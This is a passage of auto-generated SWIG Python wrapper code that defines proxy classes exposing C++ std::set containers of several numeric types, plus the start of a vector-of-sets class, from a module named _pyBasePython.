*args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.setUS_upper_bound(self, *args) def equal_range(self, *args): """equal_range(self, key_type x) -> std::pair<(std::set<(unsigned short,std::less<(unsigned short)>)>::iterator,std::set<(unsigned short,std::less<(unsigned short)>)>::iterator)>""" return _pyBasePython.setUS_equal_range(self, *args) def insert(self, *args): """insert(self, value_type __x) -> std::pair<(std::set<(unsigned short,std::less<(unsigned short)>)>::iterator,bool)>""" return _pyBasePython.setUS_insert(self, *args) __swig_destroy__ = _pyBasePython.delete_setUS setUS.iterator = new_instancemethod(_pyBasePython.setUS_iterator,None,setUS) setUS.__nonzero__ = new_instancemethod(_pyBasePython.setUS___nonzero__,None,setUS) setUS.__bool__ = new_instancemethod(_pyBasePython.setUS___bool__,None,setUS) setUS.__len__ = new_instancemethod(_pyBasePython.setUS___len__,None,setUS) setUS.append = new_instancemethod(_pyBasePython.setUS_append,None,setUS) setUS.__contains__ = new_instancemethod(_pyBasePython.setUS___contains__,None,setUS) setUS.__getitem__ = new_instancemethod(_pyBasePython.setUS___getitem__,None,setUS) setUS.empty = new_instancemethod(_pyBasePython.setUS_empty,None,setUS) setUS.size = new_instancemethod(_pyBasePython.setUS_size,None,setUS) setUS.clear = new_instancemethod(_pyBasePython.setUS_clear,None,setUS) setUS.swap = new_instancemethod(_pyBasePython.setUS_swap,None,setUS) setUS.count = new_instancemethod(_pyBasePython.setUS_count,None,setUS) setUS.begin = new_instancemethod(_pyBasePython.setUS_begin,None,setUS) setUS.end = new_instancemethod(_pyBasePython.setUS_end,None,setUS) setUS.rbegin = new_instancemethod(_pyBasePython.setUS_rbegin,None,setUS) setUS.rend = new_instancemethod(_pyBasePython.setUS_rend,None,setUS) setUS.erase = new_instancemethod(_pyBasePython.setUS_erase,None,setUS) setUS.find = new_instancemethod(_pyBasePython.setUS_find,None,setUS) setUS.lower_bound = new_instancemethod(_pyBasePython.setUS_lower_bound,None,setUS) setUS.upper_bound = new_instancemethod(_pyBasePython.setUS_upper_bound,None,setUS) setUS.equal_range = new_instancemethod(_pyBasePython.setUS_equal_range,None,setUS) setUS.insert = new_instancemethod(_pyBasePython.setUS_insert,None,setUS) setUS_swigregister = _pyBasePython.setUS_swigregister setUS_swigregister(setUS) class setUL(object): """Proxy of C++ std::set<(unsigned long,std::less<(unsigned long)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.setUL_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.setUL___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.setUL___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.setUL___len__(self) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.setUL_append(self, *args) def __contains__(self, *args): """__contains__(self, value_type x) -> bool""" return _pyBasePython.setUL___contains__(self, *args) def __getitem__(self, *args): """__getitem__(self, difference_type i) -> value_type""" return _pyBasePython.setUL___getitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(unsigned long)> arg0) -> setUL __init__(self) -> setUL __init__(self, setUL arg0) -> setUL """ _pyBasePython.setUL_swiginit(self,_pyBasePython.new_setUL(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.setUL_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.setUL_size(self) def clear(self): """clear(self)""" return _pyBasePython.setUL_clear(self) def swap(self, *args): """swap(self, setUL v)""" return _pyBasePython.setUL_swap(self, *args) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.setUL_count(self, *args) def begin(self): """begin(self) -> iterator""" return _pyBasePython.setUL_begin(self) def end(self): """end(self) -> iterator""" return _pyBasePython.setUL_end(self) def rbegin(self): """rbegin(self) -> reverse_iterator""" return _pyBasePython.setUL_rbegin(self) def rend(self): """rend(self) -> reverse_iterator""" return _pyBasePython.setUL_rend(self) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator pos) erase(self, iterator first, iterator last) """ return _pyBasePython.setUL_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.setUL_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.setUL_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.setUL_upper_bound(self, *args) def equal_range(self, *args): """equal_range(self, key_type x) -> std::pair<(std::set<(unsigned long,std::less<(unsigned long)>)>::iterator,std::set<(unsigned long,std::less<(unsigned long)>)>::iterator)>""" return _pyBasePython.setUL_equal_range(self, *args) def insert(self, *args): """insert(self, value_type __x) -> std::pair<(std::set<(unsigned long,std::less<(unsigned long)>)>::iterator,bool)>""" return _pyBasePython.setUL_insert(self, *args) __swig_destroy__ = _pyBasePython.delete_setUL setUL.iterator = new_instancemethod(_pyBasePython.setUL_iterator,None,setUL) setUL.__nonzero__ = new_instancemethod(_pyBasePython.setUL___nonzero__,None,setUL) setUL.__bool__ = new_instancemethod(_pyBasePython.setUL___bool__,None,setUL) setUL.__len__ = new_instancemethod(_pyBasePython.setUL___len__,None,setUL) setUL.append = new_instancemethod(_pyBasePython.setUL_append,None,setUL) setUL.__contains__ = new_instancemethod(_pyBasePython.setUL___contains__,None,setUL) setUL.__getitem__ = new_instancemethod(_pyBasePython.setUL___getitem__,None,setUL) setUL.empty = new_instancemethod(_pyBasePython.setUL_empty,None,setUL) setUL.size = new_instancemethod(_pyBasePython.setUL_size,None,setUL) setUL.clear = new_instancemethod(_pyBasePython.setUL_clear,None,setUL) setUL.swap = new_instancemethod(_pyBasePython.setUL_swap,None,setUL) setUL.count = new_instancemethod(_pyBasePython.setUL_count,None,setUL) setUL.begin = new_instancemethod(_pyBasePython.setUL_begin,None,setUL) setUL.end = new_instancemethod(_pyBasePython.setUL_end,None,setUL) setUL.rbegin = new_instancemethod(_pyBasePython.setUL_rbegin,None,setUL) setUL.rend = new_instancemethod(_pyBasePython.setUL_rend,None,setUL) setUL.erase = new_instancemethod(_pyBasePython.setUL_erase,None,setUL) setUL.find = new_instancemethod(_pyBasePython.setUL_find,None,setUL) setUL.lower_bound = new_instancemethod(_pyBasePython.setUL_lower_bound,None,setUL) setUL.upper_bound = new_instancemethod(_pyBasePython.setUL_upper_bound,None,setUL) setUL.equal_range = new_instancemethod(_pyBasePython.setUL_equal_range,None,setUL) setUL.insert = new_instancemethod(_pyBasePython.setUL_insert,None,setUL) setUL_swigregister = _pyBasePython.setUL_swigregister setUL_swigregister(setUL) class setSC(object): """Proxy of C++ std::set<(signed char,std::less<(signed char)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.setSC_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.setSC___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.setSC___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.setSC___len__(self) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.setSC_append(self, *args) def __contains__(self, *args): """__contains__(self, value_type x) -> bool""" return _pyBasePython.setSC___contains__(self, *args) def __getitem__(self, *args): """__getitem__(self, difference_type i) -> value_type""" return _pyBasePython.setSC___getitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(signed char)> arg0) -> setSC __init__(self) -> setSC __init__(self, setSC arg0) -> setSC """ _pyBasePython.setSC_swiginit(self,_pyBasePython.new_setSC(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.setSC_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.setSC_size(self) def clear(self): """clear(self)""" return _pyBasePython.setSC_clear(self) def swap(self, *args): """swap(self, setSC v)""" return _pyBasePython.setSC_swap(self, *args) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.setSC_count(self, *args) def begin(self): """begin(self) -> iterator""" return _pyBasePython.setSC_begin(self) def end(self): """end(self) -> iterator""" return _pyBasePython.setSC_end(self) def rbegin(self): """rbegin(self) -> reverse_iterator""" return _pyBasePython.setSC_rbegin(self) def rend(self): """rend(self) -> reverse_iterator""" return _pyBasePython.setSC_rend(self) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator pos) erase(self, iterator first, iterator last) """ return _pyBasePython.setSC_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.setSC_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.setSC_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.setSC_upper_bound(self, *args) def equal_range(self, *args): """equal_range(self, key_type x) -> std::pair<(std::set<(signed char,std::less<(signed char)>)>::iterator,std::set<(signed char,std::less<(signed char)>)>::iterator)>""" return _pyBasePython.setSC_equal_range(self, *args) def insert(self, *args): """insert(self, value_type __x) -> std::pair<(std::set<(signed char,std::less<(signed char)>)>::iterator,bool)>""" return _pyBasePython.setSC_insert(self, *args) __swig_destroy__ = _pyBasePython.delete_setSC setSC.iterator = new_instancemethod(_pyBasePython.setSC_iterator,None,setSC) setSC.__nonzero__ = new_instancemethod(_pyBasePython.setSC___nonzero__,None,setSC) setSC.__bool__ = new_instancemethod(_pyBasePython.setSC___bool__,None,setSC) setSC.__len__ = new_instancemethod(_pyBasePython.setSC___len__,None,setSC) setSC.append = new_instancemethod(_pyBasePython.setSC_append,None,setSC) setSC.__contains__ = new_instancemethod(_pyBasePython.setSC___contains__,None,setSC) setSC.__getitem__ = new_instancemethod(_pyBasePython.setSC___getitem__,None,setSC) setSC.empty = new_instancemethod(_pyBasePython.setSC_empty,None,setSC) setSC.size = new_instancemethod(_pyBasePython.setSC_size,None,setSC) setSC.clear = new_instancemethod(_pyBasePython.setSC_clear,None,setSC) setSC.swap = new_instancemethod(_pyBasePython.setSC_swap,None,setSC) setSC.count = new_instancemethod(_pyBasePython.setSC_count,None,setSC) setSC.begin = new_instancemethod(_pyBasePython.setSC_begin,None,setSC) setSC.end = new_instancemethod(_pyBasePython.setSC_end,None,setSC) setSC.rbegin = new_instancemethod(_pyBasePython.setSC_rbegin,None,setSC) setSC.rend = new_instancemethod(_pyBasePython.setSC_rend,None,setSC) setSC.erase = new_instancemethod(_pyBasePython.setSC_erase,None,setSC) setSC.find = new_instancemethod(_pyBasePython.setSC_find,None,setSC) setSC.lower_bound = new_instancemethod(_pyBasePython.setSC_lower_bound,None,setSC) setSC.upper_bound = new_instancemethod(_pyBasePython.setSC_upper_bound,None,setSC) setSC.equal_range = new_instancemethod(_pyBasePython.setSC_equal_range,None,setSC) setSC.insert = new_instancemethod(_pyBasePython.setSC_insert,None,setSC) setSC_swigregister = _pyBasePython.setSC_swigregister setSC_swigregister(setSC) class setSS(object): """Proxy of C++ std::set<(short,std::less<(short)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.setSS_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.setSS___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.setSS___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.setSS___len__(self) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.setSS_append(self, *args) def __contains__(self, *args): """__contains__(self, value_type x) -> bool""" return _pyBasePython.setSS___contains__(self, *args) def __getitem__(self, *args): """__getitem__(self, difference_type i) -> value_type""" return _pyBasePython.setSS___getitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(short)> arg0) -> setSS __init__(self) -> setSS __init__(self, setSS arg0) -> setSS """ _pyBasePython.setSS_swiginit(self,_pyBasePython.new_setSS(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.setSS_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.setSS_size(self) def clear(self): """clear(self)""" return _pyBasePython.setSS_clear(self) def swap(self, *args): """swap(self, setSS v)""" return _pyBasePython.setSS_swap(self, *args) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.setSS_count(self, *args) def begin(self): """begin(self) -> iterator""" return _pyBasePython.setSS_begin(self) def end(self): """end(self) -> iterator""" return _pyBasePython.setSS_end(self) def rbegin(self): """rbegin(self) -> reverse_iterator""" return _pyBasePython.setSS_rbegin(self) def rend(self): """rend(self) -> reverse_iterator""" return _pyBasePython.setSS_rend(self) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator pos) erase(self, iterator first, iterator last) """ return _pyBasePython.setSS_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.setSS_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.setSS_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.setSS_upper_bound(self, *args) def equal_range(self, *args): """equal_range(self, key_type x) -> std::pair<(std::set<(short,std::less<(short)>)>::iterator,std::set<(short,std::less<(short)>)>::iterator)>""" return _pyBasePython.setSS_equal_range(self, *args) def insert(self, *args): """insert(self, value_type __x) -> std::pair<(std::set<(short,std::less<(short)>)>::iterator,bool)>""" return _pyBasePython.setSS_insert(self, *args) __swig_destroy__ = _pyBasePython.delete_setSS setSS.iterator = new_instancemethod(_pyBasePython.setSS_iterator,None,setSS) setSS.__nonzero__ = new_instancemethod(_pyBasePython.setSS___nonzero__,None,setSS) setSS.__bool__ = new_instancemethod(_pyBasePython.setSS___bool__,None,setSS) setSS.__len__ = new_instancemethod(_pyBasePython.setSS___len__,None,setSS) setSS.append = new_instancemethod(_pyBasePython.setSS_append,None,setSS) setSS.__contains__ = new_instancemethod(_pyBasePython.setSS___contains__,None,setSS) setSS.__getitem__ = new_instancemethod(_pyBasePython.setSS___getitem__,None,setSS) setSS.empty = new_instancemethod(_pyBasePython.setSS_empty,None,setSS) setSS.size = new_instancemethod(_pyBasePython.setSS_size,None,setSS) setSS.clear = new_instancemethod(_pyBasePython.setSS_clear,None,setSS) setSS.swap = new_instancemethod(_pyBasePython.setSS_swap,None,setSS) setSS.count = new_instancemethod(_pyBasePython.setSS_count,None,setSS) setSS.begin = new_instancemethod(_pyBasePython.setSS_begin,None,setSS) setSS.end = new_instancemethod(_pyBasePython.setSS_end,None,setSS) setSS.rbegin = new_instancemethod(_pyBasePython.setSS_rbegin,None,setSS) setSS.rend = new_instancemethod(_pyBasePython.setSS_rend,None,setSS) setSS.erase = new_instancemethod(_pyBasePython.setSS_erase,None,setSS) setSS.find = new_instancemethod(_pyBasePython.setSS_find,None,setSS) setSS.lower_bound = new_instancemethod(_pyBasePython.setSS_lower_bound,None,setSS) setSS.upper_bound = new_instancemethod(_pyBasePython.setSS_upper_bound,None,setSS) setSS.equal_range = new_instancemethod(_pyBasePython.setSS_equal_range,None,setSS) setSS.insert = new_instancemethod(_pyBasePython.setSS_insert,None,setSS) setSS_swigregister = _pyBasePython.setSS_swigregister setSS_swigregister(setSS) class setSL(object): """Proxy of C++ std::set<(long,std::less<(long)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.setSL_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.setSL___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.setSL___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.setSL___len__(self) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.setSL_append(self, *args) def __contains__(self, *args): """__contains__(self, value_type x) -> bool""" return _pyBasePython.setSL___contains__(self, *args) def __getitem__(self, *args): """__getitem__(self, difference_type i) -> value_type""" return _pyBasePython.setSL___getitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(long)> arg0) -> setSL __init__(self) -> setSL __init__(self, setSL arg0) -> setSL """ _pyBasePython.setSL_swiginit(self,_pyBasePython.new_setSL(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.setSL_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.setSL_size(self) def clear(self): """clear(self)""" return _pyBasePython.setSL_clear(self) def swap(self, *args): """swap(self, setSL v)""" return _pyBasePython.setSL_swap(self, *args) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.setSL_count(self, *args) def begin(self): """begin(self) -> iterator""" return _pyBasePython.setSL_begin(self) def end(self): """end(self) -> iterator""" return _pyBasePython.setSL_end(self) def rbegin(self): """rbegin(self) -> reverse_iterator""" return _pyBasePython.setSL_rbegin(self) def rend(self): """rend(self) -> reverse_iterator""" return _pyBasePython.setSL_rend(self) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator pos) erase(self, iterator first, iterator last) """ return _pyBasePython.setSL_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.setSL_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.setSL_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.setSL_upper_bound(self, *args) def equal_range(self, *args): """equal_range(self, key_type x) -> std::pair<(std::set<(long,std::less<(long)>)>::iterator,std::set<(long,std::less<(long)>)>::iterator)>""" return _pyBasePython.setSL_equal_range(self, *args) def insert(self, *args): """insert(self, value_type __x) -> std::pair<(std::set<(long,std::less<(long)>)>::iterator,bool)>""" return _pyBasePython.setSL_insert(self, *args) __swig_destroy__ = _pyBasePython.delete_setSL setSL.iterator = new_instancemethod(_pyBasePython.setSL_iterator,None,setSL) setSL.__nonzero__ = new_instancemethod(_pyBasePython.setSL___nonzero__,None,setSL) setSL.__bool__ = new_instancemethod(_pyBasePython.setSL___bool__,None,setSL) setSL.__len__ = new_instancemethod(_pyBasePython.setSL___len__,None,setSL) setSL.append = new_instancemethod(_pyBasePython.setSL_append,None,setSL) setSL.__contains__ = new_instancemethod(_pyBasePython.setSL___contains__,None,setSL) setSL.__getitem__ = new_instancemethod(_pyBasePython.setSL___getitem__,None,setSL) setSL.empty = new_instancemethod(_pyBasePython.setSL_empty,None,setSL) setSL.size = new_instancemethod(_pyBasePython.setSL_size,None,setSL) setSL.clear = new_instancemethod(_pyBasePython.setSL_clear,None,setSL) setSL.swap = new_instancemethod(_pyBasePython.setSL_swap,None,setSL) setSL.count = new_instancemethod(_pyBasePython.setSL_count,None,setSL) setSL.begin = new_instancemethod(_pyBasePython.setSL_begin,None,setSL) setSL.end = new_instancemethod(_pyBasePython.setSL_end,None,setSL) setSL.rbegin = new_instancemethod(_pyBasePython.setSL_rbegin,None,setSL) setSL.rend = new_instancemethod(_pyBasePython.setSL_rend,None,setSL) setSL.erase = new_instancemethod(_pyBasePython.setSL_erase,None,setSL) setSL.find = new_instancemethod(_pyBasePython.setSL_find,None,setSL) setSL.lower_bound = new_instancemethod(_pyBasePython.setSL_lower_bound,None,setSL) setSL.upper_bound = new_instancemethod(_pyBasePython.setSL_upper_bound,None,setSL) setSL.equal_range = new_instancemethod(_pyBasePython.setSL_equal_range,None,setSL) setSL.insert = new_instancemethod(_pyBasePython.setSL_insert,None,setSL) setSL_swigregister = _pyBasePython.setSL_swigregister setSL_swigregister(setSL) class setF(object): """Proxy of C++ std::set<(float,std::less<(float)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.setF_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.setF___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.setF___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.setF___len__(self) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.setF_append(self, *args) def __contains__(self, *args): """__contains__(self, value_type x) -> bool""" return _pyBasePython.setF___contains__(self, *args) def __getitem__(self, *args): """__getitem__(self, difference_type i) -> value_type""" return _pyBasePython.setF___getitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(float)> arg0) -> setF __init__(self) -> setF __init__(self, setF arg0) -> setF """ _pyBasePython.setF_swiginit(self,_pyBasePython.new_setF(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.setF_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.setF_size(self) def clear(self): """clear(self)""" return _pyBasePython.setF_clear(self) def swap(self, *args): """swap(self, setF v)""" return _pyBasePython.setF_swap(self, *args) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.setF_count(self, *args) def begin(self): """begin(self) -> iterator""" return _pyBasePython.setF_begin(self) def end(self): """end(self) -> iterator""" return _pyBasePython.setF_end(self) def rbegin(self): """rbegin(self) -> reverse_iterator""" return _pyBasePython.setF_rbegin(self) def rend(self): """rend(self) -> reverse_iterator""" return _pyBasePython.setF_rend(self) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator pos) erase(self, iterator first, iterator last) """ return _pyBasePython.setF_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.setF_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.setF_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.setF_upper_bound(self, *args) def equal_range(self, *args): """equal_range(self, key_type x) -> std::pair<(std::set<(float,std::less<(float)>)>::iterator,std::set<(float,std::less<(float)>)>::iterator)>""" return _pyBasePython.setF_equal_range(self, *args) def insert(self, *args): """insert(self, value_type __x) -> std::pair<(std::set<(float,std::less<(float)>)>::iterator,bool)>""" return _pyBasePython.setF_insert(self, *args) __swig_destroy__ = _pyBasePython.delete_setF setF.iterator = new_instancemethod(_pyBasePython.setF_iterator,None,setF) setF.__nonzero__ = new_instancemethod(_pyBasePython.setF___nonzero__,None,setF) setF.__bool__ = new_instancemethod(_pyBasePython.setF___bool__,None,setF) setF.__len__ = new_instancemethod(_pyBasePython.setF___len__,None,setF) setF.append = new_instancemethod(_pyBasePython.setF_append,None,setF) setF.__contains__ = new_instancemethod(_pyBasePython.setF___contains__,None,setF) setF.__getitem__ = new_instancemethod(_pyBasePython.setF___getitem__,None,setF) setF.empty = new_instancemethod(_pyBasePython.setF_empty,None,setF) setF.size = new_instancemethod(_pyBasePython.setF_size,None,setF) setF.clear = new_instancemethod(_pyBasePython.setF_clear,None,setF) setF.swap = new_instancemethod(_pyBasePython.setF_swap,None,setF) setF.count = new_instancemethod(_pyBasePython.setF_count,None,setF) setF.begin = new_instancemethod(_pyBasePython.setF_begin,None,setF) setF.end = new_instancemethod(_pyBasePython.setF_end,None,setF) setF.rbegin = new_instancemethod(_pyBasePython.setF_rbegin,None,setF) setF.rend = new_instancemethod(_pyBasePython.setF_rend,None,setF) setF.erase = new_instancemethod(_pyBasePython.setF_erase,None,setF) setF.find = new_instancemethod(_pyBasePython.setF_find,None,setF) setF.lower_bound = new_instancemethod(_pyBasePython.setF_lower_bound,None,setF) setF.upper_bound = new_instancemethod(_pyBasePython.setF_upper_bound,None,setF) setF.equal_range = new_instancemethod(_pyBasePython.setF_equal_range,None,setF) setF.insert = new_instancemethod(_pyBasePython.setF_insert,None,setF) setF_swigregister = _pyBasePython.setF_swigregister setF_swigregister(setF) class setD(object): """Proxy of C++ std::set<(double,std::less<(double)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.setD_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.setD___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.setD___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.setD___len__(self) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.setD_append(self, *args) def __contains__(self, *args): """__contains__(self, value_type x) -> bool""" return _pyBasePython.setD___contains__(self, *args) def __getitem__(self, *args): """__getitem__(self, difference_type i) -> value_type""" return _pyBasePython.setD___getitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(double)> arg0) -> setD __init__(self) -> setD __init__(self, setD arg0) -> setD """ _pyBasePython.setD_swiginit(self,_pyBasePython.new_setD(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.setD_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.setD_size(self) def clear(self): """clear(self)""" return _pyBasePython.setD_clear(self) def swap(self, *args): """swap(self, setD v)""" return _pyBasePython.setD_swap(self, *args) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.setD_count(self, *args) def begin(self): """begin(self) -> iterator""" return _pyBasePython.setD_begin(self) def end(self): """end(self) -> iterator""" return _pyBasePython.setD_end(self) def rbegin(self): """rbegin(self) -> reverse_iterator""" return _pyBasePython.setD_rbegin(self) def rend(self): """rend(self) -> reverse_iterator""" return _pyBasePython.setD_rend(self) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator pos) erase(self, iterator first, iterator last) """ return _pyBasePython.setD_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.setD_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.setD_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.setD_upper_bound(self, *args) def equal_range(self, *args): """equal_range(self, key_type x) -> std::pair<(std::set<(double,std::less<(double)>)>::iterator,std::set<(double,std::less<(double)>)>::iterator)>""" return _pyBasePython.setD_equal_range(self, *args) def insert(self, *args): """insert(self, value_type __x) -> std::pair<(std::set<(double,std::less<(double)>)>::iterator,bool)>""" return _pyBasePython.setD_insert(self, *args) __swig_destroy__ = _pyBasePython.delete_setD setD.iterator = new_instancemethod(_pyBasePython.setD_iterator,None,setD) setD.__nonzero__ = new_instancemethod(_pyBasePython.setD___nonzero__,None,setD) setD.__bool__ = new_instancemethod(_pyBasePython.setD___bool__,None,setD) setD.__len__ = new_instancemethod(_pyBasePython.setD___len__,None,setD) setD.append = new_instancemethod(_pyBasePython.setD_append,None,setD) setD.__contains__ = new_instancemethod(_pyBasePython.setD___contains__,None,setD) setD.__getitem__ = new_instancemethod(_pyBasePython.setD___getitem__,None,setD) setD.empty = new_instancemethod(_pyBasePython.setD_empty,None,setD) setD.size = new_instancemethod(_pyBasePython.setD_size,None,setD) setD.clear = new_instancemethod(_pyBasePython.setD_clear,None,setD) setD.swap = new_instancemethod(_pyBasePython.setD_swap,None,setD) setD.count = new_instancemethod(_pyBasePython.setD_count,None,setD) setD.begin = new_instancemethod(_pyBasePython.setD_begin,None,setD) setD.end = new_instancemethod(_pyBasePython.setD_end,None,setD) setD.rbegin = new_instancemethod(_pyBasePython.setD_rbegin,None,setD) setD.rend = new_instancemethod(_pyBasePython.setD_rend,None,setD) setD.erase = new_instancemethod(_pyBasePython.setD_erase,None,setD) setD.find = new_instancemethod(_pyBasePython.setD_find,None,setD) setD.lower_bound = new_instancemethod(_pyBasePython.setD_lower_bound,None,setD) setD.upper_bound = new_instancemethod(_pyBasePython.setD_upper_bound,None,setD) setD.equal_range = new_instancemethod(_pyBasePython.setD_equal_range,None,setD) setD.insert = new_instancemethod(_pyBasePython.setD_insert,None,setD) setD_swigregister = _pyBasePython.setD_swigregister setD_swigregister(setD) class vectorsetUL(object): """Proxy of C++ std::vector<(std::set<(unsigned long,std::less<(unsigned long)>)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorsetUL_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorsetUL___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorsetUL___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorsetUL___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorsetUL_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorsetUL""" return _pyBasePython.vectorsetUL___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorsetUL v)""" return _pyBasePython.vectorsetUL___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorsetUL___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorsetUL___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorsetUL __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorsetUL___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorsetUL v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorsetUL___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorsetUL_append(self, *args) def empty(self): """empty(self) -> bool""" return 